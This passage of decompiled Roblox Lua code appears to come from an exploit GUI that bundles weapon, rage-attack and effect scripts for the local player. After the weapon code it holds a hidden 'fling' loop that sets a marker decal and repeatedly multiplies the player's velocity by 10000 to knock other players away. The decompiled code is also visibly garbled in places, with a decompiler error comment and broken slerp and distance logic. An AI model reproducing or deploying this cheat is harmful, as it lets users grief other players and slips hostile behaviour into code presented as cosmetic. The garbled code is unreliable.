RAW.C0 = CA(MR(-30-10*i), MR(5-5*i), MR(10-5*i))
LAW.C0 = CA(MR(-30-10*i), MR(-5+5*i), MR(-10+5*i))
HW.C0 = CA(MR(20+5*i), 0, 0)
wait()
end
hum.Jump = true
playz(Sounds.Jump2)
CF = ComputePos(torso.Position, torso.CFrame * CN(0, 0, -2))
local p = Part(workspace, true, false, 0, 0, "Bright red", 0.2, 0.2, 0.2, true)
p.CFrame = CF * CN(0, -2, 0)
local m = Add.Mesh(p, "http://www.roblox.com/asset/?id=20329976", 1, 3, 1)
Notime(function()
for i = 0, 1, 0.08 do
wait()
m.Scale = Vector3.new(1+5*i, 3-2.5*i, 1+5*i)
p.Transparency = i
end
p:remove()
end)
for i = 0.05, 1, 0.1 do
RAW.C0 = CA(MR(-40+220*i), 0, MR(5+35*i))
LAW.C0 = CA(MR(-40+220*i), 0, MR(-5-35*i))
HW.C0 = CA(MR(25-115*i), MR(90*i), MR(45*i))
wait()
end
for i = 0.12, 1, 0.25 do
RAW.C0 = CA(MR(180+8*i), 0, MR(40))
LAW.C0 = CA(MR(180+8*i), 0, MR(-40))
HW.C0 = CA(MR(-90), MR(90), MR(45))
wait()
end
for i = 0.05, 1, 0.1 do
RAW.C0 = CA(MR(188-98*i), 0, MR(40-80*i)) * CN(0, -1*i, 0)
LAW.C0 = CA(MR(188-98*i), 0, MR(-40+80*i)) * CN(0, -1*i, 0)
HW.C0 = CA(MR(-90+90*i), MR(90+45*i), MR(45-45*i))
wait()
end
playz(Sounds.GoRage)
local p2 = Part(workspace, false, false, 1, 0, EffectColor3, 1, 1, 1, true)
Weld(Tip4, p2, 0, -2, 0, 0, 0, 0)
local m2 = Add.Sphere(p2)
m2.Scale = Vector3.new(0.2, 2, 0.5)
for i = 0, 1, 0.06 do
p2.Transparency = 1-1*i
m2.Scale = Vector3.new(0.2+0.7*i, 2+3*i, 0.5+1.6*i)
wait()
end
for _,v in pairs(Blades) do
v.BrickColor = BrickColor.new(EffectColor3)
end
wait(0.5)
for i = 0, 1, 0.1 do
p2.Transparency = i
wait()
end
p2:remove()
playz(Sounds.Shout)
for i = 0.1, 1, 0.1 do
RAW.C0 = CA(MR(90-50*i), MR(50*i), MR(-40+40*i)) * CN(0, -1+1*i, 0)
LAW.C0 = CA(MR(90-70*i), MR(-20*i), MR(-40+80-60*i)) * CN(0, -1+1*i, 0)
HW.C0 = CA(0, MR(135+45*i), 0)
wait()
end
Normalize()
AbleAll = true
RageMode = true
AddDamage = Dmgs.RageMode[2]
AddDamageX = Dmgs.RageMode[3]
AddShield = Dmgs.RageMode[4]
LineColor = EffectColor3
Notime(function()
repeat
wait()
Rage = Rage - 0.45
until Rage < 1
RageMode = false
AddDamage = 0
AddShield = 0
AddDamageX = 1
LineColor = "White"
local p3 = Part(workspace, false, false, 1, 0, BladeColor, 1, 1, 1, true)
Weld(Tip4, p3, 0, -2, 0, 0, 0, 0)
local m3 = Add.Sphere(p3)
m3.Scale = Vector3.new(0.85, 4.9, 1.8)
playz(Sounds.RageOff)
for i = 0.1, 1, 0.1 do
p3.Transparency = 1-1*i
wait()
end
p.Transparency = 0
for _,v in pairs(Blades) do
v.BrickColor = BrickColor.new(BladeColor)
end
wait(0.2)
for i = 0.2, 1, 0.2 do
p3.Transparency = 1*i
m3.Scale = Vector3.new(0.85+2*i, 4.9+9*i, 1.8+4.5*i)
wait()
end
p3:remove()
end)
end
end
function RageSlash(plaic)
if Rage < Dmgs.RageSlash[6] then return end
local cf = torso.CFrame
local CF = ComputePos(cf.p, cf * CN(0, 0, -2))
if plaic then
CF = ComputePos(cf.p, plaic)
local bg = Add.BG(torso)
bg.cframe = CF
Notime(function() bg:remove() end, 0.4)
end
Rage = Rage - Dmgs.RageSlash[6]
AbleAll = false
for i = 0.05, 1, 0.1 do
RAW.C0 = CA(MR(40+105*i), MR(50-50*i), MR(-35*i)) * CN(0.15*i, -1*i, 0)
LAW.C0 = CA(MR(20+125*i), MR(-20+20*i), MR(-20+55*i)) * CN(-0.15*i, -1*i, 0)
HW.C0 = CA(0, MR(-35*i), 0)
neck.C0 = necko * CA(MR(-20*i), 0, 0)
wait()
end
for i = 0.09, 1, 0.18 do
RAW.C0 = CA(MR(145+55*i), 0, MR(-35)) * CN(0.15, -1, 0)
LAW.C0 = CA(MR(145+55*i), 0, MR(35)) * CN(-0.15, -1, 0)
HW.C0 = CA(0, MR(-35), 0)
neck.C0 = necko * CA(MR(-20-20*i), 0, 0)
wait()
end
PlaySound(Sounds.Slash[1], Sounds.Slash[2]-0.7, Sounds.Slash[3])
for i = 0.12, 1, 0.25 do
RAW.C0 = CA(MR(200+10*i), 0, MR(-35)) * CN(0.15, -1, 0)
LAW.C0 = CA(MR(200+10*i), 0, MR(35)) * CN(-0.15, -1, 0)
HW.C0 = CA(0, MR(-35), 0)
neck.C0 = necko * CA(MR(-20-20-5*i), 0, 0)
wait()
end
Mode = Dmgs.RageSlash
StartEffect("Neon orange")
Hurt = true
Deb = true
for i = 0.07, 1, 0.14 do
RAW.C0 = CA(MR(210-160*i), 0, MR(-35)) * CN(0.15, -1, 0)
LAW.C0 = CA(MR(210-150*i), MR(-30*i), MR(35)) * CN(-0.15, -1, 0)
HW.C0 = CA(MR(-70*i), MR(-35), MR(-35*i))
neck.C0 = necko * CA(MR(-45+80*i), 0, 0)
wait()
end
EndEffect()
Hurt = false
for i = 0.33, 1, 0.33 do
RAW.C0 = CA(MR(50-15*i), 0, MR(-35)) * CN(0.15, -1, 0)
LAW.C0 = CA(MR(60-15*i), MR(-30), MR(35)) * CN(-0.15, -1, 0)
HW.C0 = CA(MR(-70-15*i), MR(-35), MR(-35-7*i))
neck.C0 = necko * CA(MR(-45+80+5*i), 0, 0)
wait()
end
for i = 0.07, 1, 0.14 do
RAW.C0 = CA(MR(35+5*i), MR(50*i), MR(-35+35*i)) * CN(0.15-0.15*i, -1+1*i, 0)
LAW.C0 = CA(MR(45-25*i), MR(-30+10*i), MR(35-55*i)) * CN(-0.15+0.15*i, -1+1*i, 0)
HW.C0 = CA(MR(-70-15+85*i), MR(-35+35*i), MR(-35-7+42*i))
neck.C0 = necko * CA(MR(-45+80+5-40*i), 0, 0)
wait()
end
Normalize()
AbleAll = true
end
--RAW ORIGINAL = CA(MR(40), MR(50), 0)
--LAW ORIGINAL = CA(MR(20), MR(-20), MR(-20))
--HW ORIGINAL = CA(0, 0, 0)
function Counter()
local cf = torso.CFrame
local CF = CFrame.new(cf.p, cf * CN(0, 0, -2).p)
local bg = Add.BG(torso)
bg.cframe = CF
for i = 0.1, 1, 0.2 do
RAW.C0 = CA(MR(-50+50*i), MR(-35), MR(80*i))
LAW.C0 = CA(MR(90-20*i), 0, MR(80-20*i)) * CN(-0.75+0.25*i, -0.8+0.5*i, 0)
HW.C0 = CA(MR(20-60*i), 0, 0)
bg.cframe = CF * CA(0, MR(-35*i), 0)
neck.C0 = necko * CA(0, 0, MR(35*i))
wait()
end
StartEffect()
Hurt = true
Deb = true
Mode = Dmgs.Counter
playz(Sounds.Slash)
for i = 0.09, 1, 0.18 do
RAW.C0 = CA(0, MR(-35+130*i), MR(80)) * CN(0, -0.3*i, 0)
LAW.C0 = CA(MR(70-130*i), 0, MR(60-60*i)) * CN(-0.5+0.5*i, -0.3+0.3*i, 0)
HW.C0 = CA(MR(-40+40*i), 0, 0)
bg.cframe = CF * CA(0, MR(-35+80*i), 0)
neck.C0 = necko * CA(0, 0, MR(35-80*i))
wait()
end
EndEffect()
Hurt = false
for i = 0.12, 1, 0.25 do
RAW.C0 = CA(0, MR(95+10*i), MR(80)) * CN(0, -0.3, 0)
LAW.C0 = CA(MR(-60-10*i), 0, 0)
HW.C0 = CA(MR(5*i), 0, 0)
bg.cframe = CF * CA(0, MR(45+5*i), 0)
neck.C0 = necko * CA(0, 0, MR(-45-5*i))
wait()
end
for i = 0.06, 1, 0.12 do
RAW.C0 = CA(MR(40*i), MR(105-55*i), MR(80-80*i)) * CN(0, -0.3+0.3*i, 0)
LAW.C0 = CA(MR(-70+90*i), MR(-20*i), MR(-20*i))
HW.C0 = CA(MR(5-5*i), 0, 0)
bg.cframe = CF * CA(0, MR(50-50*i), 0)
neck.C0 = necko * CA(0, 0, MR(-50+50*i))
wait()
end
Normalize()
bg:remove()
end
function Bloc()
if AbleAll and Able then
AbleAll = false
Block.Value = true
for i = 0, 1, 0.15 do
if not Block then break end
RAW.C0 = CA(MR(40-90*i), MR(50-85*i), 0)
LAW.C0 = CA(MR(20+70*i), MR(-20+20*i), MR(-20+100*i)) * CN(-0.75*i, -0.8*i, 0)
HW.C0 = CA(MR(20*i), 0, 0)
wait()
end
RAW.C0 = CA(MR(40-90), MR(50-85), 0)
LAW.C0 = CA(MR(20+70), MR(-20+20), MR(-20+100)) * CN(-0.75, -0.8, 0)
HW.C0 = CA(MR(20), 0, 0)
PlaySound(Sounds.SmashHit[1], Sounds.SmashHit[2]-0.6, Sounds.SmashHit[3])
repeat
wait()
if BlockPower.Value < 1 then
Block.Value = false
BlockPower.Value = BlockRealPowa
end
until Block.Value == false
if CounterKey and Rage >= Dmgs.Counter[6] then
Rage = Rage - Dmgs.Counter[6]
Counter()
else
for i = 1, 0, -0.2 do
RAW.C0 = CA(MR(40-90*i), MR(50-85*i), 0)
LAW.C0 = CA(MR(20+70*i), MR(-20+20*i), MR(-20+100*i)) * CN(-0.75*i, -0.8*i, 0)
HW.C0 = CA(MR(20*i), 0, 0)
wait()
end
Normalize()
end
AbleAll = true
end
end
function Clicked(mousepos)
if Block.Value == false and Able and AbleAll then
if Aim then
Notime(function()
local bg = Add.BG(torso)
bg.cframe = ComputePos(torso.Position, mousepos)
bg.P = 5500
wait(0.4)
bg:remove()
end)
end
Attacks[Attack]()
end
end
function KeyDown(key, mouse)
key = key:lower()
if Able then
local aimplace = nil
if Aim then
aimplace = mouse.Hit.p
end
if key == string.char(48) then
Notime(function()
local k = nil
repeat
k = mouse.KeyUp:wait()
until k == string.char(48)
Block.Value = false
end)
Bloc()
elseif key == "e" then
if Block.Value == false and AbleAll then
SpinSlash(aimplace)
end
elseif key == "r" then
if Block.Value == false and AbleAll then
Flawp(aimplace)
end
elseif key == "f" then
if Block.Value == false and AbleAll then
Raeg()
end
elseif key == "t" then
Notime(function()
local k = nil
CounterKey = true
repeat
k = mouse.KeyUp:wait()
until k == "t"
CounterKey = false
end)
elseif key == "q" then
if Block.Value == false and AbleAll then
local a = nil
if Aim then
a = mouse.Hit.p
end
RageSlash(a)
end
end
end
end
Select = function(mouse)
SelectAnim()
Selected = true
mouse.Button1Down:connect(function()
if Able then
Clicked(mouse.Hit.p)
end
end)
mouse.KeyDown:connect(function(key)
KeyDown(key, mouse)
end)
end
Deselect = function(mouse)
Selected = false
DeselectAnim()
end
Bin.Selected:connect(Select)
Bin.Deselected:connect(Deselect)
Notime(function()
local parent = char.Parent
while char.Parent == parent do
wait()
if Rage > MaxRage then Rage = MaxRage elseif Rage < 0 then Rage = 0 end
RageBar.Size = UD(1, 0, Rage/MaxRage, 0)
RageBar.Position = UD(0, 0, 1-(Rage/MaxRage), 0)
RageAmount.Text = math.floor(Rage)
local hp2 = hum.Health/hum.MaxHealth
if hp2 > 1 then hp2 = 1 elseif hp2 < 0 then hp2 = 0 end
HealthBar.Size = UD(1, 0, hp2, 0)
if Block.Value then
hum.WalkSpeed = 10
elseif RageMode and Block.Value then
hum.WalkSpeed = 16
elseif RageMode then
hum.WalkSpeed = 19
else
hum.WalkSpeed = 16
end
end
end)
---------------------------------------------------------------------------------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end)
end;
task.spawn(C_87);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_89()
local script = G2L["89"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
-- hastebin.com/raw/dignsxi
TorsoColor = BrickColor.new("Royal purple")
--------------------------This is an Official script from Duelist--------------------------
---{-------------------- -------------------}---
---{-------------------- / \ -------------------}---
---{-------------------- II -------------------}---
---{-------------------- II -------------------}---
---{-------------------- II -------------------}---
---{-------------------- A========A -------------------}---
---{-------------------- II -------------------}---
---{-------------------- II -------------------}---
---{-------------------- W -------------------}---
--------------------------------------------------------------------------------------------------------------
local char = game.Players.LocalPlayer.Character
local torso = char.Torso
local hum = char.Humanoid
local hed = char.Head
local root = char.HumanoidRootPart
GroundWave2 = function(target)
if TorsoColor == BrickColor.new("Royal purple") then
local wave = Instance.new("Part", torso)
wave.BrickColor = BrickColor.new("Bright yellow")
wave.Anchored = true
wave.CanCollide = false
wave.Locked = true
wave.Size = Vector3.new(1, 1, 1)
wave.TopSurface = "Smooth"
wave.BottomSurface = "Smooth"
wave.Transparency = 0.35
wave.CFrame = target
wave.Material = "Neon"
wm = Instance.new("SpecialMesh", wave)
wm.MeshType = "Sphere"
local wave5 = Instance.new("Part", torso)
wave5.BrickColor = BrickColor.new("Really black")
wave5.Anchored = true
wave5.CanCollide = false
wave5.Locked = true
wave5.Size = Vector3.new(1, 1, 1)
wave5.TopSurface = "Smooth"
wave5.BottomSurface = "Smooth"
wave5.Transparency = 0.35
wave5.CFrame = target
wave5.Material = "Neon"
wm5 = Instance.new("SpecialMesh", wave)
wm5.MeshType = "Sphere"
wm5.Scale = Vector3.new(1,1,1)
local wave2 = Instance.new("Part", torso)
wave2.BrickColor = BrickColor.new("Really black")
wave2.Anchored = true
wave2.CanCollide = false
wave2.Locked = true
wave2.Size = Vector3.new(1, 1, 1)
wave2.TopSurface = "Smooth"
wave2.BottomSurface = "Smooth"
wave2.Transparency = 0.35
wave2.CFrame = target
wave2.Material = "Neon"
wm2 = Instance.new("SpecialMesh", wave2)
wm2.MeshType = "FileMesh"
wm2.MeshId = "http://www.roblox.com/asset/?id=3270017"
wm2.Scale = Vector3.new(1,1,1)
local wave3 = Instance.new("Part", torso)
wave3.BrickColor = BrickColor.new("Really black")
wave3.Anchored = true
wave3.CanCollide = false
wave3.Locked = true
wave3.Size = Vector3.new(1, 1, 1)
wave3.TopSurface = "Smooth"
wave3.BottomSurface = "Smooth"
wave3.Transparency = 0
wave3.CFrame = target
wave3.Material = "Neon"
wm3 = Instance.new("SpecialMesh", wave3)
wm3.MeshType = "FileMesh"
wm3.MeshId = "http://www.roblox.com/asset/?id=3270017"
wm3.Scale = Vector3.new(1,1,1)
coroutine.wrap(function()
for i = 1, 18, 1 do
wm.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2+i*1.2)
wm5.Scale = Vector3.new(2+i*1.1, 2+i*1.1, 2+i*1.1)
wm2.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2)
wm3.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2)
--wave.Size = wm.Scale
wave.CFrame = target
wave.Transparency = i/14
--wave.Size
wave5.CFrame = target
wave5.Transparency = i/14
--wave2.Size = wm2.Scale
wave2.CFrame = target
wave2.Rotation = Vector3.new(90, 0, 0)
wave2.Transparency = i/14
--wave3.Size = wm3.Scale
wave3.CFrame = target
wave3.Rotation = Vector3.new(90, 0, 0)
wave3.Transparency = i/14
wait()
end
wait()
wave:Destroy()
wave5:Destroy()
wave2:Destroy()
wave3:Destroy()
end)()
elseif TorsoColor == BrickColor.new("Royal purple") then
wait()
end
end
GroundWave = function(target)
if TorsoColor == BrickColor.new("Royal purple") then
local wave = Instance.new("Part", torso)
wave.BrickColor = BrickColor.new("Dark red")
wave.Anchored = true
wave.CanCollide = false
wave.Locked = true
wave.Size = Vector3.new(1, 1, 1)
wave.TopSurface = "Smooth"
wave.BottomSurface = "Smooth"
wave.Transparency = 0.35
wave.CFrame = target
wave.Material = "Neon"
wm = Instance.new("SpecialMesh", wave)
wm.MeshType = "Sphere"
wm.Scale = Vector3.new(1,1,1)
local wave2 = Instance.new("Part", torso)
wave2.BrickColor = BrickColor.new("Dark red")
wave2.Anchored = true
wave2.CanCollide = false
wave2.Locked = true
wave2.Size = Vector3.new(1, 1, 1)
wave2.TopSurface = "Smooth"
wave2.BottomSurface = "Smooth"
wave2.Transparency = 0.35
wave2.CFrame = target
wave2.Material = "Neon"
wm2 = Instance.new("SpecialMesh", wave2)
wm2.MeshType = "FileMesh"
wm2.MeshId = "http://www.roblox.com/asset/?id=3270017"
wm2.Scale = Vector3.new(1,1,1)
local wave3 = Instance.new("Part", torso)
wave3.BrickColor = BrickColor.new("Really black")
wave3.Anchored = true
wave3.CanCollide = false
wave3.Locked = true
wave3.Size = Vector3.new(1, 1, 1)
wave3.TopSurface = "Smooth"
wave3.BottomSurface = "Smooth"
wave3.Transparency = 0.35
wave3.CFrame = target
wave3.Material = "Neon"
wm3 = Instance.new("SpecialMesh", wave3)
wm3.MeshType = "FileMesh"
wm3.MeshId = "http://www.roblox.com/asset/?id=3270017"
wm3.Scale = Vector3.new(1,1,1)
coroutine.wrap(function()
for i = 1, 18, 1 do
wm.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2+i*1.2)
wm2.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2)
wm3.Scale = Vector3.new(2+i*1.2, 2+i*1.2, 2)
--wave.Size = wm.Scale
wave.CFrame = target
wave.Transparency = i/14
--wave2.Size = wm2.Scale
wave2.CFrame = target
wave2.Rotation = Vector3.new(90, 0, 0)
wave2.Transparency = i/14
--wave3.Size = wm3.Scale
wave3.CFrame = target
wave3.Rotation = Vector3.new(90, 0, 0)
wave3.Transparency = i/14
wait()
end
wait()
wave:Destroy()
wave2:Destroy()
wave3:Destroy()
end)()
elseif TorsoColor == BrickColor.new("Royal purple") then
wait()
end
end
local p = game.Players.LocalPlayer
local char = p.Character
local mouse = p:GetMouse()
local larm = char["Left Arm"]
local rarm = char["Right Arm"]
local lleg = char["Left Leg"]
local rleg = char["Right Leg"]
local hed = char.Head
local torso = char.Torso
local hum = char.Humanoid
local cam = game.Workspace.CurrentCamera
local root = char.HumanoidRootPart
local rj = root.RootJoint
local deb = false
local shot = 0
local stanceToggle = "Idle1"
local l = game:GetService("Lighting")
local rs = game:GetService("RunService").RenderStepped
local hb = game:GetService("RunService").Heartbeat
local Stepped = game:GetService("RunService").Stepped
hed.face.Texture = "rbxassetid://37700586"
eye2 = Instance.new("Part", workspace)
eye2.Anchored = false
eye2.Parent = hed
eye2.TopSurface = 0
eye2.BrickColor = BrickColor.new("Royal purple")
eye2.Material = "Neon"
eye2.BottomSurface = 0
eye2m = Instance.new("SpecialMesh", eye2)
eye2m.MeshId = "rbxassetid://31309506"
eye2m.TextureId = "rbxassetid://31309468"
eye2m.Scale = Vector3.new(1.03, 1.05, 1.03)
ogsize = eye2m.Scale
weld = Instance.new("Weld", hed)
weld.Part0 = eye2
weld.Part1 = hed
weld.Name = "eye2Weld"
weld.C1 = CFrame.new(0,.45,0.05)
local shir = Instance.new("Shirt",char)
local pan = Instance.new("Pants",char)
shir.ShirtTemplate = "http://www.roblox.com/asset/?id=83326831"
pan.PantsTemplate = "http://www.roblox.com/asset/?id=10045638"
spawn(function()
while wait() do
for i,v in pairs(char:GetChildren()) do
if v:IsA('Part') then
v.BrickColor = BrickColor.new("Bright yellow")
end
end
end
end)
spawn(function()
while wait(.9) do
GroundWave2(torso.CFrame)
end
end)
fat = Instance.new("BindableEvent", script)
fat.Name = "Heartbeat"
script:WaitForChild("Heartbeat")
frame = 0.033333333333333
tf = 0
allowframeloss = false
tossremainder = false
lastframe = tick()
script.Heartbeat:Fire()
game:GetService("RunService").Heartbeat:connect(function(s, p)
tf = tf + s
if frame <= tf then
if allowframeloss then
script.Heartbeat:Fire()
lastframe = tick()
else
for i = 1, math.floor(tf / frame) do
script.Heartbeat:Fire()
end
lastframe = tick()
end
if tossremainder then
tf = 0
else
tf = tf - frame * math.floor(tf / frame)
end
end
end
)
for i,v in pairs(hed:GetChildren()) do
if v:IsA("Sound") then
v:Destroy()
end
end
Debounces = {CanAttack = true, CanJoke = true, NoIdl = false, RPunch = false, RPunched = false, LPunch = false, LPunched = false, Slashing = false, Slashed = false, ks = false, ks2 = false}
weld5 = function(part0, part1, c0, c1)
weeld = Instance.new("Weld", part0)
weeld.Part0 = part0
weeld.Part1 = part1
weeld.C0 = c0
weeld.C1 = c1
return weeld
end
NewPart = function(prnt, siz, cf, trans, anc, mat, col)
local prt = Instance.new("Part")
prt.Parent = prnt
prt.Name = "Part"
prt.Size = siz
prt.CanCollide = false
prt.Anchored = anc
prt.Locked = true
prt.Transparency = trans
prt.TopSurface = 10
prt.BottomSurface = 10
prt.FrontSurface = 10
prt.BackSurface = 10
prt.LeftSurface = 10
prt.RightSurface = 10
prt:BreakJoints()
if not cf then
prt.CFrame = CFrame.new(30, 10, 30)
prt.Material = mat
prt.BrickColor = BrickColor.new(col)
m = Instance.new("SpecialMesh", prt)
m.MeshType = 6
return prt
end
end
lerp = function(a, b, t)
return a + (b - a) * t
end
slerp = function(a, b, t)
dot = a:Dot(b)
if t > 0.5 or not a then
do return dot <= 0.99999 and dot >= -0.99999 or b end
r = math.acos(dot)
do return (a * math.sin((1 - t) * r) + b * math.sin(t * r)) / math.sin(r) end
end
end
matrixInterpolate = function(a, b, t)
local ax, ay, az, a00, a01, a02, a10, a11, a12, a20, a21, a22 = a:components()
local bx, by, bz, b00, b01, b02, b10, b11, b12, b20, b21, b22 = b:components()
local v0 = lerp(Vector3.new(ax, ay, az), Vector3.new(bx, by, bz), t)
local v1 = slerp(Vector3.new(a00, a01, a02), Vector3.new(b00, b01, b02), t)
local v2 = slerp(Vector3.new(a10, a11, a12), Vector3.new(b10, b11, b12), t)
local v3 = slerp(Vector3.new(a20, a21, a22), Vector3.new(b20, b21, b22), t)
local t = v1:Dot(v2)
if t >= 0 and t ~= 0 and t <= 0 then
return CFrame.new()
end
return CFrame.new(v0.x, v0.y, v0.z, v1.x, v1.y, v1.z, v2.x, v2.y, v2.z, v3.x, v3.y, v3.z)
end
genWeld = function(a, b)
local w = Instance.new("Weld", a)
w.Part0 = a
w.Part1 = b
return w
end
weld = function(a, b)
local weld = Instance.new("Weld")
weld.Name = "W"
weld.Part0 = a
weld.Part1 = b
weld.C0 = a.CFrame:inverse() * b.CFrame
weld.Parent = a
return weld
end
Lerp = function(c1, c2, al)
local com1 = {c1.X, c1.Y, c1.Z, c1:toEulerAnglesXYZ()}
local com2 = {c2.X, c2.Y, c2.Z, c2:toEulerAnglesXYZ()}
for i,v in pairs(com1) do
com1[i] = v + (com2[i] - v) * al
end
return CFrame.new(com1[1], com1[2], com1[3]) * CFrame.Angles(select(4, unpack(com1)))
end
newWeld = function(wp0, wp1, wc0x, wc0y, wc0z)
local wld = Instance.new("Weld", wp1)
wld.Part0 = wp0
wld.Part1 = wp1
wld.C0 = CFrame.new(wc0x, wc0y, wc0z)
end
newWeld(torso, larm, -1.5, 0.5, 0)
larm.Weld.C1 = CFrame.new(0, 0.5, 0)
newWeld(torso, rarm, 1.5, 0.5, 0)
rarm.Weld.C1 = CFrame.new(0, 0.5, 0)
newWeld(torso, hed, 0, 1.5, 0)
newWeld(torso, lleg, -0.5, -1, 0)
lleg.Weld.C1 = CFrame.new(0, 1, 0)
newWeld(torso, rleg, 0.5, -1, 0)
rleg.Weld.C1 = CFrame.new(0, 1, 0)
newWeld(root, torso, 0, -1, 0)
torso.Weld.C1 = CFrame.new(0, -1, 0)
z = Instance.new("Sound", char)
z.SoundId = "rbxassetid://166164466"
z.Looped = true
z.Pitch = 1
z.Volume = 10
wait(0.1)
z:Play()
New = function(Object, Parent, Name, Data)
local Object = Instance.new(Object)
if not Data then
for Index,Value in pairs({}) do
Object[Index] = Value
end
Object.Parent = Parent
Object.Name = Name
return Object
end
end
part1 = Instance.new("Part", rarm)
part1.Name = "Arbiter"
part1.BrickColor = BrickColor.new("Really black")
part1.CFrame = rarm.CFrame
part1.Material = "Neon"
part1.Anchored = false
part1.CanCollide = false
part1.Locked = true
part1.Size = Vector3.new(0.25, 1.05, 5.9)
mesh1 = Instance.new("SpecialMesh", part1)
mesh1.MeshType = Enum.MeshType.FileMesh
mesh1.MeshId = "rbxassetid://10604848"
mesh1.TextureId = "http://www.roblox.com/asset/?id=10605252"
mesh1.Scale = Vector3.new(0.5,0.5,0.5)
local cor = Instance.new("Part", rarm)
cor.Name = "Thingy"
cor.Locked = true
cor.TopSurface = 0
cor.BottomSurface = 0
cor.CanCollide = false
cor.Size = Vector3.new(0.2, 0.2, 0.2)
cor.Transparency = 1
corw = Instance.new("Weld", cor)
corw.Part0 = rarm
corw.Part1 = cor
corw.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
corw.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
weld1 = Instance.new("Weld", cor)
weld1.Part0 = cor
weld1.Part1 = part1
weld1.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
weld1.C1 = CFrame.new(0.25, 1, -0.5) * CFrame.Angles(math.rad(-20), math.rad(30), math.rad(90))
hitb = Instance.new("Part", cor)
hitb.Name = "Thingy2"
hitb.Locked = true
hitb.TopSurface = 0
hitb.BottomSurface = 0
hitb.CanCollide = false
hitb.Size = Vector3.new(4, 1, 3.5)
hitb.Transparency = 1
weld4 = Instance.new("Weld", cor)
weld4.Part0 = hitb
weld4.Part1 = cor
weld4.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
weld4.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
local animpose = "Idle1"
local lastanimpose = "Idle1"
local grab = false
local Smooth = 1
local sine = 0
local change = 1
local val = 0
local ffing = false
mod4 = Instance.new("Model", char)
ptez = {0.7, 0.8, 0.9, 1}
FindNearestTorso = function(Position, Distance, SinglePlayer)
if SinglePlayer.Torso.CFrame.p - Position.magnitude >= Distance then
do return not SinglePlayer end
do
local List = {}
for i,v in pairs(workspace:GetChildren()) do
if v:IsA("Model") and v:findFirstChild("Torso") and v ~= char and v.Torso.Position - Position.magnitude <= Distance then
table.insert(List, v)
end
end
do return List end
-- DECOMPILER ERROR: 3 unprocessed JMP targets
end
end
end
Slam = function()
local part = Instance.new("Part", mod4)
part.Anchored = true
part.CanCollide = false
part.FormFactor = "Custom"
part.Size = Vector3.new(0.2, 0.2, 0.2)
part.CFrame = root.CFrame * CFrame.new(0, -2.8, -1.4) * CFrame.Angles(math.rad(90), 0, 0)
part.Transparency = 0.7
part.BrickColor = BrickColor.new("Really black")
mesh = Instance.new("SpecialMesh", part)
mesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
mesh.Scale = Vector3.new(3, 3, 3)
local part2 = Instance.new("Part", mod4)
part2.Anchored = true
part2.CanCollide = false
part2.FormFactor = "Custom"
part2.Size = Vector3.new(0.2, 0.2, 0.2)
part2.CFrame = root.CFrame * CFrame.new(0, -2.4, -1.6)
part2.Transparency = 0.7
part2.BrickColor = BrickColor.new("Lime green")
mesh2 = Instance.new("SpecialMesh", part2)
mesh2.MeshId = "http://www.roblox.com/asset/?id=20329976"
mesh2.Scale = Vector3.new(3, 1.5, 3)
x = Instance.new("Sound", larm)
x.SoundId = "http://www.roblox.com/asset/?id=142070127"
x.Pitch = ptez[math.random(1, #ptez)]
x.Volume = 1
x1 = Instance.new("Sound", larm)
x1.SoundId = "http://www.roblox.com/asset/?id=206082327"
x1.Pitch = ptez[math.random(1, #ptez)]
x1.Volume = 1
x:Play()
x1:Play()
for i,v in pairs(FindNearestTorso(torso.CFrame.p, 4)) do
if v:FindFirstChild("Humanoid") then
v.Humanoid.Health = 100
end
end
coroutine.resume(coroutine.create(function()
for i = 0, 0.62, 0.13 do
fat.Event:wait()
part.CFrame = part.CFrame
part.Transparency = i
mesh.Scale = mesh.Scale + Vector3.new(0.4, 0.4, 0.4)
part2.CFrame = part2.CFrame
part2.Transparency = i
mesh2.Scale = mesh2.Scale + Vector3.new(0.4, 0.2, 0.4)
end
part.Parent = nil
part2.Parent = nil
x:Destroy()
end
))
end
wPart = function(x, y, z, color, tr, cc, an, parent)
local wp = Instance.new("WedgePart", parent or Weapon)
wp.formFactor = "Custom"
wp.Size = Vector3.new(x, y, z)
wp.BrickColor = BrickColor.new(color)
wp.CanCollide = cc
wp.Transparency = tr
wp.Anchored = an
wp.TopSurface = 0
return wp
end
Mesh = function(par, num, x, y, z)
local msh = _
if num == 1 then
msh = Instance.new("CylinderMesh", par)
else
if num == 2 then
msh = Instance.new("SpecialMesh", par)
msh.MeshType = 3
else
if num == 3 then
msh = Instance.new("BlockMesh", par)
else
if num == 4 then
msh = Instance.new("SpecialMesh", par)
msh.MeshType = "Torso"
else
